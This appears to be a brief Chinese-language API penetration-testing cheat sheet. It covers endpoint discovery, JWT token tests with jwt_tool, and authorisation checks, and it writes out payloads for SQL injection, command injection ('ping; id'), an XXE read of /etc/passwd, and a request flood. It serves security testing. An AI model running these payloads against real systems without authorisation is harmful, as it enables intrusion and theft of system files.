kolorbee/lnu-secllm/api-security-testing

# 使用目录扫描
gobuster dir -u https://target.com -w api-wordlist.txt
 
# 使用Burp Suite被动扫描
# 浏览应用，观察API调用
 
# 分析JavaScript文件
# 查找API端点定义

# 测试无效Token
GET /api/user
Authorization: Bearer invalid_token
 
# 测试过期Token
GET /api/user
Authorization: Bearer expired_token
 
# 测试无Token
GET /api/user

# 使用jwt_tool
python jwt_tool.py <JWT_TOKEN>
 
# 测试算法混淆
python jwt_tool.py <JWT_TOKEN> -X a
 
# 测试密钥暴力破解
python jwt_tool.py <JWT_TOKEN> -C -d wordlist.txt

# 用户A访问用户B的资源
GET /api/user/123
Authorization: Bearer user_a_token
 
# 应该返回403

# 普通用户访问管理员接口
GET /api/admin/users
Authorization: Bearer user_token
 
# 应该返回403

POST /api/search
{
  "query": "test' OR '1'='1"
}

POST /api/execute
{
  "command": "ping; id"
}

POST /api/parse
Content-Type: application/xml
 
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>

import requests
for i in range(1000):
    response = requests.get('https://target.com/api/endpoint')
    print(f"Request {i}: {response.status_code}")

# API扫描
zap-cli quick-scan --self-contained \
  --start-options '-config api.disablekey=true' \
  http://target.com/api

# 扫描OpenAPI规范
rest-attacker scan openapi.yaml